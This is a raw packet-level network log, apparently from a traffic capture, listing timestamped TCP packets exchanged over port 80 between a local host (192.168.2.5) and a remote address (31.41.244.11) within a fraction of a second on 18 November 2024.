Nov 18, 2024 19:04:15.023395061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023408890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023451090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023469925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023483992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023499012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023514032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023536921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023555040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023813009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023828030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023859978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023885965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023901939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023916006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023926973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023943901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023951054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023958921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023973942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023981094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023997068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024019957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024030924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024275064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024296999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024316072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024323940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024326086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024344921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024350882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024367094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024385929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024391890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024401903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024416924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024426937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024450064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024662971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024678946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024693012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024703026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024717093 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024725914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024735928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024749041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024781942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024799109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.024955988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024971008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024985075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.024993896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025002956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025016069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025024891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025038004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025048971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025060892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025072098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025093079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025302887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025316000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025330067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025340080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025352955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025369883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025371075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025382996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025389910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025403023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025418043 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025428057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025440931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025451899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025460958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025474072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025482893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025497913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025507927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025530100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025773048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025789022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025809050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025820971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025830984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025846004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025861025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025871038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025878906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025892973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025899887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025913954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025928974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025944948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.025959015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.025986910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026010036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026391029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026405096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026421070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026432037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026443005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026454926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026465893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026479006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026493073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026505947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026515007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026527882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026535988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026551962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026575089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026587963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026794910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026808023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026822090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026833057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026840925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026858091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.026864052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.026896000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059220076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059252024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059267998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059338093 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059353113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059380054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059396029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059411049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059417963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059443951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059617996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059640884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059658051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059668064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059698105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059779882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059797049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059812069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059822083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059835911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.059859991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059891939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059905052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.059969902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.060017109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.060043097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.060055971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.060070038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.060081005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.060094118 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.060103893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.060126066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.060147047 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.120410919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120428085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120443106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120505095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.120556116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.120582104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120598078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120623112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.120637894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.120738983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120776892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.120903969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120919943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120934963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120945930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.120956898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.120968103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.120976925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121000051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121088982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121104956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121120930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121149063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121149063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121165991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121253014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121269941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121285915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121304035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121310949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121310949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121324062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121342897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121566057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121578932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121593952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121609926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121624947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121624947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121624947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121645927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121655941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121679068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121898890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121913910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121928930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121937990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121951103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121959925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121969938 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.121984005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.121995926 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122008085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122018099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122030020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122040033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122055054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122066975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122080088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122091055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122101068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122111082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122133970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122642994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122658014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122673035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122683048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122694016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122704983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122715950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122728109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122740030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122749090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122760057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122775078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122790098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122811079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122869968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122884989 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.122910023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.122919083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.123047113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.123063087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.123078108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.123089075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.123096943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.123114109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.123121023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.123132944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.123146057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.123167038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.134979963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.134995937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135010958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135030985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135045052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135061026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135102987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135162115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135184050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135202885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135229111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135411024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135456085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135606050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135629892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135644913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135653973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135663986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135690928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135721922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135763884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135790110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135803938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135827065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135840893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135878086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135895014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.135915041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.135932922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.140568018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.140590906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.140607119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.140623093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.140638113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.140649080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.140664101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.140665054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.140681982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.140688896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.140698910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.140707016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.140733004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141143084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141175032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141200066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141206026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141216993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141238928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141243935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141271114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141278028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141309977 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141369104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141396046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141408920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141433001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141630888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141663074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141671896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141695023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141700029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141732931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141742945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141772985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141788006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141804934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141812086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141836882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141840935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141875029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141904116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141947031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.141951084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141983986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.141989946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142014980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142019987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142046928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142050028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142082930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142204046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142234087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142241955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142266035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142270088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142297983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142303944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142328978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142358065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142362118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142373085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142393112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142400026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142430067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142467022 CET	80	49977	31.41.244.11	192.168.2.5
